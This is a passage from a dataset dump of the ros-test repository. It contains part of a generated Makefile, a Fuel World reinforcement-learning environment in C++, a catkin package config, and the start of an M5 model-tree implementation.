rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/newmat9.cc.s\n.PHONY : src/newmat/newmat9.cc.s\n\nsrc/newmat/newmatex.o: src/newmat/newmatex.cc.o\n\n.PHONY : src/newmat/newmatex.o\n\n# target to build an object file\nsrc/newmat/newmatex.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/newmatex.cc.o\n.PHONY : src/newmat/newmatex.cc.o\n\nsrc/newmat/newmatex.i: src/newmat/newmatex.cc.i\n\n.PHONY : src/newmat/newmatex.i\n\n# target to preprocess a source file\nsrc/newmat/newmatex.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/newmatex.cc.i\n.PHONY : src/newmat/newmatex.cc.i\n\nsrc/newmat/newmatex.s: src/newmat/newmatex.cc.s\n\n.PHONY : src/newmat/newmatex.s\n\n# target to generate assembly for a file\nsrc/newmat/newmatex.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/newmatex.cc.s\n.PHONY : src/newmat/newmatex.cc.s\n\nsrc/newmat/newmatrm.o: src/newmat/newmatrm.cc.o\n\n.PHONY : src/newmat/newmatrm.o\n\n# target to build an object file\nsrc/newmat/newmatrm.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/newmatrm.cc.o\n.PHONY : src/newmat/newmatrm.cc.o\n\nsrc/newmat/newmatrm.i: src/newmat/newmatrm.cc.i\n\n.PHONY : src/newmat/newmatrm.i\n\n# target to preprocess a source file\nsrc/newmat/newmatrm.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/newmatrm.cc.i\n.PHONY : src/newmat/newmatrm.cc.i\n\nsrc/newmat/newmatrm.s: src/newmat/newmatrm.cc.s\n\n.PHONY : src/newmat/newmatrm.s\n\n# target to generate assembly for a file\nsrc/newmat/newmatrm.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/newmatrm.cc.s\n.PHONY : src/newmat/newmatrm.cc.s\n\nsrc/newmat/sort.o: src/newmat/sort.cc.o\n\n.PHONY : src/newmat/sort.o\n\n# target to build an object file\nsrc/newmat/sort.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/sort.cc.o\n.PHONY : src/newmat/sort.cc.o\n\nsrc/newmat/sort.i: src/newmat/sort.cc.i\n\n.PHONY : src/newmat/sort.i\n\n# target to preprocess a source file\nsrc/newmat/sort.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/sort.cc.i\n.PHONY : src/newmat/sort.cc.i\n\nsrc/newmat/sort.s: src/newmat/sort.cc.s\n\n.PHONY : src/newmat/sort.s\n\n# target to generate assembly for a file\nsrc/newmat/sort.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/sort.cc.s\n.PHONY : src/newmat/sort.cc.s\n\nsrc/newmat/submat.o: src/newmat/submat.cc.o\n\n.PHONY : src/newmat/submat.o\n\n# target to build an object file\nsrc/newmat/submat.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/submat.cc.o\n.PHONY : src/newmat/submat.cc.o\n\nsrc/newmat/submat.i: src/newmat/submat.cc.i\n\n.PHONY : src/newmat/submat.i\n\n# target to preprocess a source file\nsrc/newmat/submat.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/submat.cc.i\n.PHONY : src/newmat/submat.cc.i\n\nsrc/newmat/submat.s: src/newmat/submat.cc.s\n\n.PHONY : src/newmat/submat.s\n\n# target to generate assembly for a file\nsrc/newmat/submat.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/submat.cc.s\n.PHONY : src/newmat/submat.cc.s\n\nsrc/newmat/svd.o: src/newmat/svd.cc.o\n\n.PHONY : src/newmat/svd.o\n\n# target to build an object file\nsrc/newmat/svd.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/svd.cc.o\n.PHONY : src/newmat/svd.cc.o\n\nsrc/newmat/svd.i: src/newmat/svd.cc.i\n\n.PHONY : src/newmat/svd.i\n\n# target to preprocess a source file\nsrc/newmat/svd.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/svd.cc.i\n.PHONY : src/newmat/svd.cc.i\n\nsrc/newmat/svd.s: src/newmat/svd.cc.s\n\n.PHONY : src/newmat/svd.s\n\n# target to generate assembly for a file\nsrc/newmat/svd.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/src/newmat/svd.cc.s\n.PHONY : src/newmat/svd.cc.s\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... install/strip\"\n\t@echo \"... install\"\n\t@echo \"... agent\"\n\t@echo \"... install/local\"\n\t@echo \"... agentlib\"\n\t@echo \"... test\"\n\t@echo \"... list_install_components\"\n\t@echo \"... edit_cache\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... src/Agent/DiscretizationAgent.o\"\n\t@echo \"... src/Agent/DiscretizationAgent.i\"\n\t@echo \"... src/Agent/DiscretizationAgent.s\"\n\t@echo \"... src/Agent/Dyna.o\"\n\t@echo \"... src/Agent/Dyna.i\"\n\t@echo \"... src/Agent/Dyna.s\"\n\t@echo \"... src/Agent/ModelBasedAgent.o\"\n\t@echo \"... src/Agent/ModelBasedAgent.i\"\n\t@echo \"... src/Agent/ModelBasedAgent.s\"\n\t@echo \"... src/Agent/QLearner.o\"\n\t@echo \"... src/Agent/QLearner.i\"\n\t@echo \"... src/Agent/QLearner.s\"\n\t@echo \"... src/Agent/Sarsa.o\"\n\t@echo \"... src/Agent/Sarsa.i\"\n\t@echo \"... src/Agent/Sarsa.s\"\n\t@echo \"... src/Agent/SavedPolicy.o\"\n\t@echo \"... src/Agent/SavedPolicy.i\"\n\t@echo \"... src/Agent/SavedPolicy.s\"\n\t@echo \"... src/Models/C45Tree.o\"\n\t@echo \"... src/Models/C45Tree.i\"\n\t@echo \"... src/Models/C45Tree.s\"\n\t@echo \"... src/Models/ExplorationModel.o\"\n\t@echo \"... src/Models/ExplorationModel.i\"\n\t@echo \"... src/Models/ExplorationModel.s\"\n\t@echo \"... src/Models/FactoredModel.o\"\n\t@echo \"... src/Models/FactoredModel.i\"\n\t@echo \"... src/Models/FactoredModel.s\"\n\t@echo \"... src/Models/LinearSplitsTree.o\"\n\t@echo \"... src/Models/LinearSplitsTree.i\"\n\t@echo \"... src/Models/LinearSplitsTree.s\"\n\t@echo \"... src/Models/M5Tree.o\"\n\t@echo \"... src/Models/M5Tree.i\"\n\t@echo \"... src/Models/M5Tree.s\"\n\t@echo \"... src/Models/MultipleClassifiers.o\"\n\t@echo \"... src/Models/MultipleClassifiers.i\"\n\t@echo \"... src/Models/MultipleClassifiers.s\"\n\t@echo \"... src/Models/RMaxModel.o\"\n\t@echo \"... src/Models/RMaxModel.i\"\n\t@echo \"... src/Models/RMaxModel.s\"\n\t@echo \"... src/Models/SepPlanExplore.o\"\n\t@echo \"... src/Models/SepPlanExplore.i\"\n\t@echo \"... src/Models/SepPlanExplore.s\"\n\t@echo \"... src/Models/Stump.o\"\n\t@echo \"... src/Models/Stump.i\"\n\t@echo \"... src/Models/Stump.s\"\n\t@echo \"... src/Planners/ETUCT.o\"\n\t@echo \"... src/Planners/ETUCT.i\"\n\t@echo \"... src/Planners/ETUCT.s\"\n\t@echo \"... src/Planners/MBS.o\"\n\t@echo \"... src/Planners/MBS.i\"\n\t@echo \"... src/Planners/MBS.s\"\n\t@echo \"... src/Planners/PO_ETUCT.o\"\n\t@echo \"... src/Planners/PO_ETUCT.i\"\n\t@echo \"... src/Planners/PO_ETUCT.s\"\n\t@echo \"... src/Planners/PO_ParallelETUCT.o\"\n\t@echo \"... src/Planners/PO_ParallelETUCT.i\"\n\t@echo \"... src/Planners/PO_ParallelETUCT.s\"\n\t@echo \"... src/Planners/ParallelETUCT.o\"\n\t@echo \"... src/Planners/ParallelETUCT.i\"\n\t@echo \"... src/Planners/ParallelETUCT.s\"\n\t@echo \"... src/Planners/PolicyIteration.o\"\n\t@echo \"... src/Planners/PolicyIteration.i\"\n\t@echo \"... src/Planners/PolicyIteration.s\"\n\t@echo \"... src/Planners/PrioritizedSweeping.o\"\n\t@echo \"... src/Planners/PrioritizedSweeping.i\"\n\t@echo \"... src/Planners/PrioritizedSweeping.s\"\n\t@echo \"... src/Planners/ValueIteration.o\"\n\t@echo \"... src/Planners/ValueIteration.i\"\n\t@echo \"... src/Planners/ValueIteration.s\"\n\t@echo \"... src/agent.o\"\n\t@echo \"... src/agent.i\"\n\t@echo \"... src/agent.s\"\n\t@echo \"... src/newmat/bandmat.o\"\n\t@echo \"... src/newmat/bandmat.i\"\n\t@echo \"... src/newmat/bandmat.s\"\n\t@echo \"... src/newmat/cholesky.o\"\n\t@echo \"... src/newmat/cholesky.i\"\n\t@echo \"... src/newmat/cholesky.s\"\n\t@echo \"... src/newmat/evalue.o\"\n\t@echo \"... src/newmat/evalue.i\"\n\t@echo \"... src/newmat/evalue.s\"\n\t@echo \"... src/newmat/fft.o\"\n\t@echo \"... src/newmat/fft.i\"\n\t@echo \"... src/newmat/fft.s\"\n\t@echo \"... src/newmat/hholder.o\"\n\t@echo \"... src/newmat/hholder.i\"\n\t@echo \"... src/newmat/hholder.s\"\n\t@echo \"... src/newmat/jacobi.o\"\n\t@echo \"... src/newmat/jacobi.i\"\n\t@echo \"... src/newmat/jacobi.s\"\n\t@echo \"... src/newmat/myexcept.o\"\n\t@echo \"... src/newmat/myexcept.i\"\n\t@echo \"... src/newmat/myexcept.s\"\n\t@echo \"... src/newmat/newfft.o\"\n\t@echo \"... src/newmat/newfft.i\"\n\t@echo \"... src/newmat/newfft.s\"\n\t@echo \"... src/newmat/newmat1.o\"\n\t@echo \"... src/newmat/newmat1.i\"\n\t@echo \"... src/newmat/newmat1.s\"\n\t@echo \"... src/newmat/newmat2.o\"\n\t@echo \"... src/newmat/newmat2.i\"\n\t@echo \"... src/newmat/newmat2.s\"\n\t@echo \"... src/newmat/newmat3.o\"\n\t@echo \"... src/newmat/newmat3.i\"\n\t@echo \"... src/newmat/newmat3.s\"\n\t@echo \"... src/newmat/newmat4.o\"\n\t@echo \"... src/newmat/newmat4.i\"\n\t@echo \"... src/newmat/newmat4.s\"\n\t@echo \"... src/newmat/newmat5.o\"\n\t@echo \"... src/newmat/newmat5.i\"\n\t@echo \"... src/newmat/newmat5.s\"\n\t@echo \"... src/newmat/newmat6.o\"\n\t@echo \"... src/newmat/newmat6.i\"\n\t@echo \"... src/newmat/newmat6.s\"\n\t@echo \"... src/newmat/newmat7.o\"\n\t@echo \"... src/newmat/newmat7.i\"\n\t@echo \"... src/newmat/newmat7.s\"\n\t@echo \"... src/newmat/newmat8.o\"\n\t@echo \"... src/newmat/newmat8.i\"\n\t@echo \"... src/newmat/newmat8.s\"\n\t@echo \"... src/newmat/newmat9.o\"\n\t@echo \"... src/newmat/newmat9.i\"\n\t@echo \"... src/newmat/newmat9.s\"\n\t@echo \"... src/newmat/newmatex.o\"\n\t@echo \"... src/newmat/newmatex.i\"\n\t@echo \"... src/newmat/newmatex.s\"\n\t@echo \"... src/newmat/newmatrm.o\"\n\t@echo \"... src/newmat/newmatrm.i\"\n\t@echo \"... src/newmat/newmatrm.s\"\n\t@echo \"... src/newmat/sort.o\"\n\t@echo \"... src/newmat/sort.i\"\n\t@echo \"... src/newmat/sort.s\"\n\t@echo \"... src/newmat/submat.o\"\n\t@echo \"... src/newmat/submat.i\"\n\t@echo \"... src/newmat/submat.s\"\n\t@echo \"... src/newmat/svd.o\"\n\t@echo \"... src/newmat/svd.i\"\n\t@echo \"... src/newmat/svd.s\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.540432333946228, "alphanum_fraction": 0.5986789464950562, "avg_line_length": 23.73267364501953, "blob_id": "45a15d13f598ebfadcf228ed97be5c5874cb1830", "content_id": "cc149f5d20573ff8a493affc48a3b64e1c331172", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9992, "license_type": "no_license", "max_line_length": 133, "num_lines": 404, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/FuelRooms.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file FuelRooms.cc\n Implements the Fuel World domain, with possible noise.\n From the paper:\n Hester and Stone, \"Real Time Targeted Exploration in Large Domains\", ICDL 2010.\n \\author Todd Hester\n*/\n\n#include <rl_env/FuelRooms.hh>\n\n\nFuelRooms::FuelRooms(Random &rand, bool extraVariation, bool stoch):\n height(20), width(30),\n goal(coord_t(11.0,24.0)), \n extraVar(extraVariation),\n noisy(stoch),\n rng(rand),\n s(3),\n ns(s[0]),\n ew(s[1]),\n energy(s[2])\n{\n\n fuelVisited = 0;\n totalVisited = 0;\n\n stateVisits = new int*[21];\n for (int i = 0; i < 21; i++){\n stateVisits[i] = new int[31];\n }\n\n reset();\n resetVisits();\n}\n\n\n\nFuelRooms::~FuelRooms() { \n for (int i = 0; i < 21; i++){\n delete [] stateVisits[i];\n }\n delete [] stateVisits;\n}\n\nconst std::vector<float> &FuelRooms::sensation() const { \n return s; \n}\n\nfloat FuelRooms::apply(int action) {\n\n checkVisits();\n\n if (terminal())\n return 0.0;\n\n //cout << \"Taking action \" << static_cast<room_action_t>(action) << endl;\n\n //cout << \"state: \" << s[0] << \", \" << s[1] << \", \" << s[2] \n // << \" act: \" << action << endl;\n\n // 20% lose none\n // 20% lose two\n // 80% of the time, lose one energy\n // if (!noisy || rng.bernoulli(0.8))\n energy--;\n\n // many fuel squares, with varying amounts reward\n if ((int)ns == 0 || (int)ns == height){\n energy += 20.0;\n }\n \n\n if (energy > 60.0) \n energy = 60.0; \n\n const room_action_t effect =\n noisy\n ? add_noise(static_cast<room_action_t>(action)) \n : static_cast<room_action_t>(action);\n\n float r = reward(effect);\n\n if (effect == NORTH || effect == NORTHWEST || effect == NORTHEAST)\n if (ns < height)\n ns++;\n\n if (effect == SOUTH || effect == SOUTHWEST || effect == SOUTHEAST)\n if (ns > 0)\n ns--;\n\n if (effect == EAST || effect == SOUTHEAST || effect == NORTHEAST)\n if (ew < width)\n ew++;\n\n if (effect == WEST || effect == SOUTHWEST || effect == NORTHWEST)\n if (ew > 0)\n ew--;\n \n return r;\n \n std::cerr << \"Unreachable point reached in FuelRooms::apply!!!\\n\";\n return 0; // unreachable, I hope\n}\n\n\n\nfloat FuelRooms::reward(int effect) {\n \n if (energy < 0.0){\n return -400.0;\n }\n\n if (terminal()){\n //cout << \"Found goal!!!!\" << endl;\n return 0.0;\n }\n\n // extra cost at fuel stations\n /*\n if (ns == 0 || ns == height){\n return -5.0;\n }\n */\n\n if (ns == 0 || ns == height){\n float base = -10.0;\n if (ns == 0)\n base = -13.0;\n \n // extra variation\n float var = 1.0;\n if (extraVar)\n var = 5.0;\n else\n base -= 8.0;\n\n return base - (((int)ew % 5) * var);\n \n }\n \n if (effect == NORTH || effect == SOUTH || effect == EAST || effect == WEST)\n return -1.0;\n else\n return -1.4;\n \n}\n\n\nbool FuelRooms::terminal() const {\n // current position equal to goal??\n // or out of fuel\n return (coord_t(ns,ew) == goal) || (energy < 0.0);\n}\n\n\nvoid FuelRooms::reset() {\n // start randomly in left region\n ns = rng.uniformDiscrete(7, 12);\n ew = rng.uniformDiscrete(0, 4);\n\n // start with random amount of fuel\n // enough to get to gas stations, not enough to get to goal\n // gas stations up to 9 steps away, goal at least 20 steps away\n energy = rng.uniformDiscrete(14, 18);\n\n}\n\n\nvoid FuelRooms::resetVisits(){\n fuelVisited = 0;\n totalVisited = 0;\n\n for (int i = 0; i < 21; i++)\n for (int j = 0; j < 31; j++)\n stateVisits[i][j] = 0;\n}\n\nvoid FuelRooms::checkVisits(){\n stateVisits[(int)ns][(int)ew]++;\n // first visit to a state\n if (stateVisits[(int)ns][(int)ew] == 1){\n totalVisited++;\n if (ns == 0 || ns == 20)\n fuelVisited++;\n }\n}\n\nvoid FuelRooms::printVisits(){\n float totalStates = 31.0 * 21.0;\n float fuelStates = 31.0 * 2.0;\n float otherStates = totalStates - fuelStates;\n cout << (fuelVisited/fuelStates) << endl << ((totalVisited-fuelVisited)/otherStates) << endl << (totalVisited/totalStates) << endl;\n}\n\nvoid FuelRooms::printVisitMap(string filename){\n ofstream fout(filename.c_str());\n for (int i = 0; i < 21; i++){\n for (int j = 0; j < 31; j++){\n fout << stateVisits[i][j] << \"\\t\";\n }\n fout << endl;\n }\n fout.close();\n}\n\n\nint FuelRooms::getNumActions(){\n return 8;\n}\n\n\nFuelRooms::room_action_t FuelRooms::add_noise(room_action_t action) {\n\n int newAct = rng.bernoulli(0.8) ? action : (rng.bernoulli(0.5) ? action+1 : action-1);\n\n if (newAct < 0)\n newAct = getNumActions()-1;\n if (newAct >= getNumActions())\n newAct = 0;\n\n return (room_action_t)newAct;\n}\n\n\n\nstd::vector<experience> FuelRooms::getSeedings() {\n\n // return seedings\n std::vector<experience> seeds;\n\n // how many copies of each?\n for (int i = 0; i < 1; i++){\n\n // single seed of terminal state\n seeds.push_back(getExp(11,24,rng.uniformDiscrete(2,40),rng.uniformDiscrete(0,7)));\n \n // one seed from each fuel row\n seeds.push_back(getExp(0, rng.uniformDiscrete(1,29),rng.uniformDiscrete(2,40),rng.uniformDiscrete(0,7))); \n seeds.push_back(getExp(20,rng.uniformDiscrete(1,29),rng.uniformDiscrete(2,40),rng.uniformDiscrete(0,7)));\n\n // seed of terminal\n seeds.push_back(getExp(rng.uniformDiscrete(1,19),rng.uniformDiscrete(1,22),0,rng.uniformDiscrete(0,7)));\n }\n\n /*\n // two seeds around the goal state\n seeds.push_back(getExp(10,24,4,NORTH));\n seeds.push_back(getExp(11,25,42,EAST));\n\n // one of death\n seeds.push_back(getExp(9,15,0,SOUTHEAST));\n */\n\n // lots of seeds of various shit\n /*\n for (int i = 0; i < 3; i++){\n\n // each wall\n //seeds.push_back(getExp(0,11,10,SOUTH));\n //seeds.push_back(getExp(0,27,14,SOUTH));\n //seeds.push_back(getExp(0,17,10,NORTH));\n \n //seeds.push_back(getExp(20,12,20,SOUTH));\n //seeds.push_back(getExp(20,28,24,NORTH));\n //seeds.push_back(getExp(20,18,20,NORTH));\n \n //seeds.push_back(getExp(10,30,30,EAST));\n //seeds.push_back(getExp(12,30,34,EAST));\n //seeds.push_back(getExp(10,30,30,WEST));\n \n //seeds.push_back(getExp(13,0,2,WEST));\n //seeds.push_back(getExp(17,0,4,WEST));\n //seeds.push_back(getExp(13,0,2,EAST));\n \n // experiences showing where the goal state is (11,24)\n seeds.push_back(getExp(10,24,20,NORTH));\n seeds.push_back(getExp(12,24,44,SOUTH));\n seeds.push_back(getExp(11,23,52,EAST));\n seeds.push_back(getExp(11,25,7,WEST));\n seeds.push_back(getExp(10,23,11,NORTHEAST));\n seeds.push_back(getExp(10,25,16,NORTHWEST));\n seeds.push_back(getExp(12,23,21,SOUTHEAST));\n seeds.push_back(getExp(12,25,36,SOUTHWEST));\n\n // near the goal state\n seeds.push_back(getExp(11,23,45,NORTH));\n seeds.push_back(getExp(10,24,31,NORTHEAST));\n seeds.push_back(getExp(11,25,11,SOUTH));\n seeds.push_back(getExp(12,24,18,WEST));\n seeds.push_back(getExp(10,23,18,SOUTHWEST));\n\n // a few normal\n seeds.push_back(getExp(17,14,52,SOUTH));\n seeds.push_back(getExp(1,6,43,EAST));\n seeds.push_back(getExp(9,18,24,NORTH));\n seeds.push_back(getExp(12,8,3,WEST));\n seeds.push_back(getExp(7,1,42,SOUTHEAST));\n seeds.push_back(getExp(6,9,7,NORTHEAST));\n seeds.push_back(getExp(19,28,28,NORTHWEST));\n seeds.push_back(getExp(2,18,33,SOUTHWEST));\n\n // actions do different things from one state!\n seeds.push_back(getExp(9,3,19,SOUTHEAST));\n seeds.push_back(getExp(9,3,19,EAST));\n seeds.push_back(getExp(9,3,19,NORTHWEST));\n seeds.push_back(getExp(9,3,19,WEST));\n seeds.push_back(getExp(9,3,19,NORTH));\n seeds.push_back(getExp(9,3,19,SOUTHWEST));\n\n // and fuel running out\n seeds.push_back(getExp(7,4,0,NORTH));\n seeds.push_back(getExp(19,21,0,SOUTHWEST));\n seeds.push_back(getExp(3,16,0,NORTHEAST));\n seeds.push_back(getExp(13,1,0,SOUTH));\n \n // general gas stations \n seeds.push_back(getExp(0,5,12,EAST));\n seeds.push_back(getExp(0,23,9,WEST));\n seeds.push_back(getExp(0,26,3,NORTHWEST));\n seeds.push_back(getExp(20,7,7,SOUTHEAST));\n seeds.push_back(getExp(20,18,4,SOUTH));\n seeds.push_back(getExp(20,25,4,SOUTHWEST));\n\n // terminal states\n seeds.push_back(getExp(3,24,-1,WEST));\n seeds.push_back(getExp(9,14,-1,SOUTH));\n seeds.push_back(getExp(7,4,-1,EAST));\n seeds.push_back(getExp(14,18,-1,NORTH));\n seeds.push_back(getExp(7,23,-1,NORTHWEST));\n seeds.push_back(getExp(16,5,-1,SOUTHWEST));\n seeds.push_back(getExp(17,14,-1,NORTHEAST));\n seeds.push_back(getExp(4,28,-1,SOUTHEAST));\n\n seeds.push_back(getExp(11,24,12,NORTH));\n seeds.push_back(getExp(11,24,22,WEST));\n seeds.push_back(getExp(11,24,32,EAST));\n seeds.push_back(getExp(11,24,2,SOUTH));\n seeds.push_back(getExp(11,24,17,NORTHWEST));\n seeds.push_back(getExp(11,24,27,SOUTHWEST));\n seeds.push_back(getExp(11,24,37,NORTHEAST));\n seeds.push_back(getExp(11,24,7,SOUTHEAST));\n }\n */\n\n /*\n // a bunch of random seeds\n for (int j = 0; j < 1000; j++){\n seeds.push_back(getExp(rng.uniformDiscrete(0,20),rng.uniformDiscrete(0,30),rng.uniformDiscrete(-1,60),rng.uniformDiscrete(0,3)));\n }\n */\n\n reset();\n resetVisits();\n\n return seeds;\n\n}\n\n\nexperience FuelRooms::getExp(int s0, int s1, int s2, int a){\n\n experience e;\n\n e.s.resize(3, 0.0);\n e.next.resize(3, 0.0);\n\n ns = s0;\n ew = s1;\n energy = s2;\n e.act = a;\n e.s = sensation();\n e.reward = apply(e.act);\n\n e.terminal = terminal();\n e.next = sensation();\n\n /*\n cout << \"Seed experience from state (\" << e.s[0] << \", \"\n << e.s[1] << \", \" << e.s[2] << \") action: \" << e.act\n << \" to (\" << e.next[0] << \", \" << e.next[1] << \", \" << e.next[2] \n << \") with reward \" << e.reward << \" and term: \" << e.terminal << endl;\n */\n\n return e;\n}\n\nvoid FuelRooms::getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat){\n \n minFeat->resize(s.size(), 0.0);\n maxFeat->resize(s.size(), 10.0);\n\n (*maxFeat)[0] = 20.0;\n (*maxFeat)[1] = 30.0;\n (*maxFeat)[2] = 60.0;\n (*minFeat)[2] = -1.0;\n}\n\nvoid FuelRooms::getMinMaxReward(float *minR,\n float *maxR){\n \n *minR = -400.0;\n *maxR = 0.0; \n \n}\n" }, { "alpha_fraction": 0.7339312434196472, "alphanum_fraction": 0.7399103045463562, "avg_line_length": 40.875, "blob_id": "2914dd387aa701808de524ffccfd5a98b4fd0b9f", "content_id": "5d0f3f5a0ffa50d405a9e60abe77b0f245ecc4ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 669, "license_type": "no_license", "max_line_length": 73, "num_lines": 16, "path": "/build/rl-texplore-ros-pkg-master/src/rl_common/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"rl_common\")\nset(rl_common_VERSION \"0.0.0\")\nset(rl_common_MAINTAINER \"Todd Hester <[email protected]>\")\nset(rl_common_PACKAGE_FORMAT \"1\")\nset(rl_common_BUILD_DEPENDS \"roscpp\" \"std_msgs\")\nset(rl_common_BUILD_EXPORT_DEPENDS \"message_runtime\" \"roscpp\" \"std_msgs\")\nset(rl_common_BUILDTOOL_DEPENDS \"catkin\")\nset(rl_common_BUILDTOOL_EXPORT_DEPENDS )\nset(rl_common_EXEC_DEPENDS \"message_runtime\" \"roscpp\" \"std_msgs\")\nset(rl_common_RUN_DEPENDS \"message_runtime\" \"roscpp\" \"std_msgs\")\nset(rl_common_TEST_DEPENDS )\nset(rl_common_DOC_DEPENDS )\nset(rl_common_URL_WEBSITE \"\")\nset(rl_common_URL_BUGTRACKER \"\")\nset(rl_common_URL_REPOSITORY \"\")\nset(rl_common_DEPRECATED \"\")" }, { "alpha_fraction": 0.5432450175285339, "alphanum_fraction": 0.5525165796279907, "avg_line_length": 26.980234146118164, "blob_id": "b2b09959625543b5798ad5402e286b2e44c75b06", "content_id": "9fca810f21c104eac6907dcacf49e66744b490df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 45300, "license_type": "no_license", "max_line_length": 125, "num_lines": 1619, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/M5Tree.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file M5Tree.cc\n Implements the M5 Decision tree, as described in:\n \"Learning with Continuous Classes\" by J.R. Quinlan\n \"Inducing Model Trees for Continuous Classes\" by Y. Wang and I.H. Witten\n \\author Todd Hester\n*/\n\n#include \"M5Tree.hh\"\n\n\n// Include stuff for newmat matrix libraries\n\n#define WANT_MATH // include.h will get math fns\n // newmatap.h will get include.h\n#include \"../newmat/newmatap.h\" // need matrix applications\n#ifdef use_namespace\nusing namespace NEWMAT; // access NEWMAT namespace\n#endif\n\n\n\nM5Tree::M5Tree(int id, int trainMode, int trainFreq, int m,\n float featPct, bool simple, bool allowAllFeats, \n\t float min_sdr, Random rng):\n id(id), mode(trainMode), freq(trainFreq), M(m),\n featPct(featPct), SIMPLE(simple), ALLOW_ALL_FEATS(allowAllFeats),\n MIN_SDR(min_sdr), rng(rng)\n{\n\n nnodes = 0;\n nOutput = 0;\n nExperiences = 0;\n hadError = false;\n totalnodes = 0;\n maxnodes = N_M5_NODES;\n\n\n // how close a split has to be to be randomly selected\n SPLIT_MARGIN = 0.0; //0.02; //5; //01; //0.05; //0.2; //0.05;\n\n LMDEBUG = false;\n DTDEBUG = false;///true;\n SPLITDEBUG = false;//true;\n STOCH_DEBUG = false; //true; //false; //true;\n INCDEBUG = false; //true; //false; //true;\n NODEDEBUG = false;\n COPYDEBUG = false; //true;\n nfeat = 4;\n\n cout << \"Created m5 decision tree \" << id;\n if (SIMPLE) cout << \" simple regression\";\n else cout << \" multivariate regression\";\n if (ALLOW_ALL_FEATS) cout << \" (all feats)\";\n else cout << \" (subtree feats)\";\n if (DTDEBUG){\n cout << \" mode: \" << mode << \" freq: 